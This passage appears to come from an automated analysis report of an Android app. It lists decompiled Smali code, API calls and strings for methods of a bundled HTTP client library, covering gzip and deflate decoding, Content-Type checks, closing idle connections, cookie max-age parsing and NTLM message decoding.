        141cond_b9: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        143const-string p2, "Transfer-encoding header already present"
        145invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        146throw p1
        147goto_c1: return-void
        APIs
        • java.lang.String.toLowerCase
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • gzip
        • x-gzip
        • deflate
        • identity
        • Unsupported Content-Coding:
        • Content-Length
        • Content-Encoding
        • Content-MD5
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        8move-result-object p2
        9if-eqz p2, :cond_94
        11invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpEntity;->getContentLength()J
        12move-result-wide v0
        13const-wide/16 v2, 0x0
        14cmp-long v4, v0, v2
        15if-eqz v4, :cond_94
        17invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpEntity;->getContentEncoding()Lcz/msebera/android/httpclient/Header;
        18move-result-object p2
        19if-eqz p2, :cond_94
        21invoke-interface {p2}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        22move-result-object p2
        23array-length v0, p2
        24const/4 v1, 0x1
        25const/4 v2, 0x0
        26if-lez v0, :cond_82
        27aget-object p2, p2, v2
        29invoke-interface {p2}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        30move-result-object v0
        32sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        34invoke-virtual {v0, v2}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        35move-result-object v0
        37const-string v2, "gzip"
        39invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        40move-result v2
        41if-nez v2, :cond_75
        43const-string v2, "x-gzip"
        45invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        46move-result v2
        47if-eqz v2, :cond_3c
        48goto/16 :goto_75
        49cond_3c:
        50const-string v2, "deflate"
        52invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        53move-result v2
        54if-eqz v2, :cond_51
        55new-instance p2, Lcz/msebera/android/httpclient/client/entity/DeflateDecompressingEntity;
        57invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        58move-result-object v0
        60invoke-direct {p2, v0}, Lcz/msebera/android/httpclient/client/entity/DeflateDecompressingEntity;-><init>(Lcz/msebera/android/httpclient/HttpEntity;)V
        62invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->setEntity(Lcz/msebera/android/httpclient/HttpEntity;)V
        63goto/16 :goto_83
        64cond_51:
        65const-string p1, "identity"
        67invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        68move-result p1
        69if-eqz p1, :cond_5a
        70return-void
        71cond_5a: new-instance p1, Lcz/msebera/android/httpclient/HttpException;
        72new-instance v0, Ljava/lang/StringBuilder;
        74invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        76const-string v1, "Unsupported Content-Coding: "
        78invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        80invoke-interface {p2}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        81move-result-object p2
        83invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        85invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        86move-result-object p2
        88invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        89throw p1
        90goto_75: new-instance p2, Lcz/msebera/android/httpclient/client/entity/GzipDecompressingEntity;
        92invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        93move-result-object v0
        95invoke-direct {p2, v0}, Lcz/msebera/android/httpclient/client/entity/GzipDecompressingEntity;-><init>(Lcz/msebera/android/httpclient/HttpEntity;)V
        97invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->setEntity(Lcz/msebera/android/httpclient/HttpEntity;)V
        98goto/16 :goto_83
        99cond_82: const/4 v1, 0x0
        100goto_83: if-eqz v1, :cond_94
        102const-string p2, "Content-Length"
        104invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->removeHeaders(Ljava/lang/String;)V
        106const-string p2, "Content-Encoding"
        108invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->removeHeaders(Ljava/lang/String;)V
        110const-string p2, "Content-MD5"
        112invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->removeHeaders(Ljava/lang/String;)V
        113cond_94: return-void
        APIs
        • cz.msebera.android.httpclient.client.HttpResponseException.<init>
        • java.util.regex.Pattern.matches
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.HttpResponseException.<init>
        Strings
        • Content-Type
        • None, or more than one, Content-Type Header found!
        • BinaryHttpRH
        • Given pattern is not valid:
        • Content-Type (
        • ) not allowed!
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        7move-result-object v0
        9const-string v1, "Content-Type"
        11invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        12move-result-object v1
        13array-length v2, v1
        14const/4 v3, 0x0
        15const/4 v4, 0x1
        16if-eq v2, v4, :cond_26
        18invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        19move-result v1
        21invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        22move-result-object p1
        23new-instance v2, Lcz/msebera/android/httpclient/client/HttpResponseException;
        25invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        26move-result v0
        28const-string v4, "None, or more than one, Content-Type Header found!"
        30invoke-direct {v2, v0, v4}, Lcz/msebera/android/httpclient/client/HttpResponseException;-><init>(ILjava/lang/String;)V
        32invoke-virtual {p0, v1, p1, v3, v2}, Lcom/loopj/android/http/BinaryHttpResponseHandler;->sendFailureMessage(I[Lcz/msebera/android/httpclient/Header;[BLjava/lang/Throwable;)V
        33return-void
        34cond_26: const/4 v2, 0x0
        35aget-object v1, v1, v2
        37invoke-virtual {p0}, Lcom/loopj/android/http/BinaryHttpResponseHandler;->getAllowedContentTypes()[Ljava/lang/String;
        38move-result-object v5
        39array-length v6, v5
        40const/4 v7, 0x0
        41goto_2f: if-ge v2, v6, :cond_5b
        42aget-object v8, v5, v2
        43try_start_33:
        44invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        45move-result-object v9
        47invoke-static {v8, v9}, Ljava/util/regex/Pattern;->matches(Ljava/lang/String;Ljava/lang/CharSequence;)Z
        48move-result v9
        49try_end_3b: if-eqz v9, :cond_58
        50const/4 v7, 0x1
        51goto/16 :goto_58
        52catch_3f: move-exception v9
        54sget-object v10, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        56const-string v11, "BinaryHttpRH"
        57new-instance v12, Ljava/lang/StringBuilder;
        59invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
        61const-string v13, "Given pattern is not valid: "
        63invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65invoke-virtual {v12, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        67invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        68move-result-object v8
        70invoke-interface {v10, v11, v8, v9}, Lcom/loopj/android/http/LogInterface;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
        71goto_58: add-int/lit8 v2, v2, 0x1
        72goto/16 :goto_2f
        73cond_5b: if-nez v7, :cond_8c
        75invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        76move-result v2
        78invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        79move-result-object p1
        80new-instance v4, Lcz/msebera/android/httpclient/client/HttpResponseException;
        82invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        83move-result v0
        84new-instance v5, Ljava/lang/StringBuilder;
        86invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        88const-string v6, "Content-Type ("
        90invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        92invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        93move-result-object v1
        95invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        97const-string v1, ") not allowed!"
        99invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        101invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        102move-result-object v1
        104invoke-direct {v4, v0, v1}, Lcz/msebera/android/httpclient/client/HttpResponseException;-><init>(ILjava/lang/String;)V
        106invoke-virtual {p0, v2, p1, v3, v4}, Lcom/loopj/android/http/BinaryHttpResponseHandler;->sendFailureMessage(I[Lcz/msebera/android/httpclient/Header;[BLjava/lang/Throwable;)V
        107return-void
        108cond_8c:
        109invoke-super {p0, p1}, Lcom/loopj/android/http/AsyncHttpResponseHandler;->sendResponseMessage(Lcz/msebera/android/httpclient/HttpResponse;)V
        110return-void
        Cross References
        APIs
        • java.lang.System.currentTimeMillis
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Map.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Checking for expired connections, now:
        • Closing connection, expired @:
        • I/O error closing connection
        Position Instruction Meta Information
        1invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        2move-result-wide v0
        4iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        6invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        7move-result v2
        8if-eqz v2, :cond_22
        10iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        11new-instance v3, Ljava/lang/StringBuilder;
        13invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        15const-string v4, "Checking for expired connections, now: "
        17invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19invoke-virtual {v3, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        21invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        22move-result-object v3
        24invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        25cond_22:
        26iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->connectionToTimes:Ljava/util/Map;
        28invoke-interface {v2}, Ljava/util/Map;->entrySet()Ljava/util/Set;
        29move-result-object v2
        31invoke-interface {v2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        32move-result-object v2
        33goto_2c:
        34invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        35move-result v3
        36if-eqz v3, :cond_7b
        38invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        39move-result-object v3
        40check-cast v3, Ljava/util/Map$Entry;
        42invoke-interface {v3}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        43move-result-object v4
        44check-cast v4, Lcz/msebera/android/httpclient/HttpConnection;
        46invoke-interface {v3}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        47move-result-object v3
        48check-cast v3, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;
        50invoke-static {v3}, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;->access$000(Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;)J
        51move-result-wide v5
        52cmp-long v7, v5, v0
        53if-gtz v7, :cond_2c
        55iget-object v5, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        57invoke-virtual {v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        58move-result v5
        59if-eqz v5, :cond_6e
        61iget-object v5, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        62new-instance v6, Ljava/lang/StringBuilder;
        64invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
        66const-string v7, "Closing connection, expired @: "
        68invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70invoke-static {v3}, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;->access$000(Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;)J
        71move-result-wide v7
        73invoke-virtual {v6, v7, v8}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        75invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        76move-result-object v3
        78invoke-virtual {v5, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        79try_start_6e:
        80invoke-interface {v4}, Lcz/msebera/android/httpclient/HttpConnection;->close()V
        81try_end_71: goto/16 :goto_2c
        82catch_72: move-exception v3
        84iget-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        86const-string v5, "I/O error closing connection"
        88invoke-virtual {v4, v5, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        89goto/16 :goto_2c
        90cond_7b: return-void
        Cross References
        APIs
        • java.lang.System.currentTimeMillis
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Map.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Checking for connections, idle timeout:
        • Closing idle connection, connection time:
        • I/O error closing connection
        Position Instruction Meta Information
        1invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        2move-result-wide v0
        3sub-long/2addr v0, p1
        5iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        8move-result p1
        9if-eqz p1, :cond_23
        11iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        12new-instance p2, Ljava/lang/StringBuilder;
        14invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        16const-string v2, "Checking for connections, idle timeout: "
        18invoke-virtual {p2, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        20invoke-virtual {p2, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        22invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        23move-result-object p2
        25invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        26cond_23:
        27iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->connectionToTimes:Ljava/util/Map;
        29invoke-interface {p1}, Ljava/util/Map;->entrySet()Ljava/util/Set;
        30move-result-object p1
        32invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        33move-result-object p1
        34goto_2d:
        35invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        36move-result p2
        37if-eqz p2, :cond_78
        39invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        40move-result-object p2
        41check-cast p2, Ljava/util/Map$Entry;
        43invoke-interface {p2}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        44move-result-object v2
        45check-cast v2, Lcz/msebera/android/httpclient/HttpConnection;
        47invoke-interface {p2}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        48move-result-object p2
        49check-cast p2, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;
        51invoke-static {p2}, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;->access$100(Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler$TimeValues;)J
        52move-result-wide v3
        53cmp-long p2, v3, v0
        54if-gtz p2, :cond_2d
        56iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        58invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        59move-result p2
        60if-eqz p2, :cond_6b
        62iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        63new-instance v5, Ljava/lang/StringBuilder;
        65invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        67const-string v6, "Closing idle connection, connection time: "
        69invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        71invoke-virtual {v5, v3, v4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        73invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        74move-result-object v3
        76invoke-virtual {p2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        77cond_6b:
        78invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpConnection;->close()V
        79try_end_6e: goto/16 :goto_2d
        80catch_6f: move-exception p2
        82iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/IdleConnectionHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        84const-string v3, "I/O error closing connection"
        86invoke-virtual {v2, v3, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        87goto/16 :goto_2d
        88cond_78: return-void
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • RouteTracker[
        • ->
        • }->
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-virtual {p0}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->getHopCount()I
        3move-result v1
        4mul-int/lit8 v1, v1, 0x1e
        5add-int/lit8 v1, v1, 0x32
        7invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
        9const-string v1, "RouteTracker["
        11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        13iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->localAddress:Ljava/net/InetAddress;
        14if-eqz v1, :cond_20
        16iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->localAddress:Ljava/net/InetAddress;
        18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        20const-string v1, "->"
        22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        23cond_20: const/16 v1, 0x7b
        25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        26iget-boolean v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->connected:Z
        27if-eqz v1, :cond_2e
        28const/16 v1, 0x63
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        31cond_2e:
        32iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->tunnelled:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;
        34sget-object v2, Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;->TUNNELLED:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;
        35if-ne v1, v2, :cond_39
        36const/16 v1, 0x74
        38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        39cond_39:
        40iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->layered:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;
        42sget-object v2, Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;->LAYERED:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;
        43if-ne v1, v2, :cond_44
        44const/16 v1, 0x6c
        46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        47cond_44: iget-boolean v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->secure:Z
        48if-eqz v1, :cond_4d
        49const/16 v1, 0x73
        51invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        52cond_4d:
        53const-string v1, "}->"
        55invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->proxyChain:[Lcz/msebera/android/httpclient/HttpHost;
        58if-eqz v1, :cond_69
        60iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->proxyChain:[Lcz/msebera/android/httpclient/HttpHost;
        61array-length v2, v1
        62const/4 v3, 0x0
        63goto_5a: if-ge v3, v2, :cond_69
        64aget-object v4, v1, v3
        66invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        68const-string v4, "->"
        70invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        71add-int/lit8 v3, v3, 0x1
        72goto/16 :goto_5a
        73cond_69:
        74iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->targetHost:Lcz/msebera/android/httpclient/HttpHost;
        76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        77const/16 v1, 0x5d
        79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        81invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        82move-result-object v0
        83return-object v0
        APIs
        • java.lang.Integer.parseInt
        • java.lang.System.currentTimeMillis
        • java.util.Date.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Cookie
        • Negative max-age attribute:
        • Invalid max-age attribute:
        • Missing value for max-age attribute
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6const-string v0, "Cookie"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9if-eqz p2, :cond_4e
        10try_start_7:
        11invoke-static {p2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        12move-result v0
        13try_end_b: if-ltz v0, :cond_20
        14new-instance p2, Ljava/util/Date;
        16invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        17move-result-wide v1
        18int-to-long v3, v0
        19const-wide/16 v5, 0x3e8
        20mul-long v3, v3, v5
        21add-long/2addr v1, v3
        23invoke-direct {p2, v1, v2}, Ljava/util/Date;-><init>(J)V
        25invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/cookie/SetCookie;->setExpiryDate(Ljava/util/Date;)V
        26return-void
        27cond_20: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        28new-instance v0, Ljava/lang/StringBuilder;
        30invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        32const-string v1, "Negative max-age attribute: "
        34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        39move-result-object p2
        41invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        42throw p1
        43catch_37: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        44new-instance v0, Ljava/lang/StringBuilder;
        46invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        48const-string v1, "Invalid max-age attribute: "
        50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        55move-result-object p2
        57invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        58throw p1
        59cond_4e: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        61const-string p2, "Missing value for max-age attribute"
        63invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        64throw p1
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Integer.toString
        • java.lang.StringBuilder.append
        • java.lang.Integer.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        Strings
        • ASCII
        • NTLM message expected - instead got unrecognized bytes
        • NTLM type
        • message expected - instead got type
        • NTLM message decoding error - packet too short
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        3}
        4.end annotation
        6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        7const/4 v0, 0x0
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->messageContents:[B
        9const/4 v0, 0x0
        10iput v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->currentOutputPosition:I
        12const-string v1, "ASCII"
        14invoke-static {p1, v1}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getBytes(Ljava/lang/String;Ljava/lang/String;)[B
        15move-result-object p1
        16const/4 v1, 0x2
        18invoke-static {p1, v1}, Lcz/msebera/android/httpclient/extras/Base64;->decode([BI)[B
        19move-result-object p1
        20iput-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->messageContents:[B
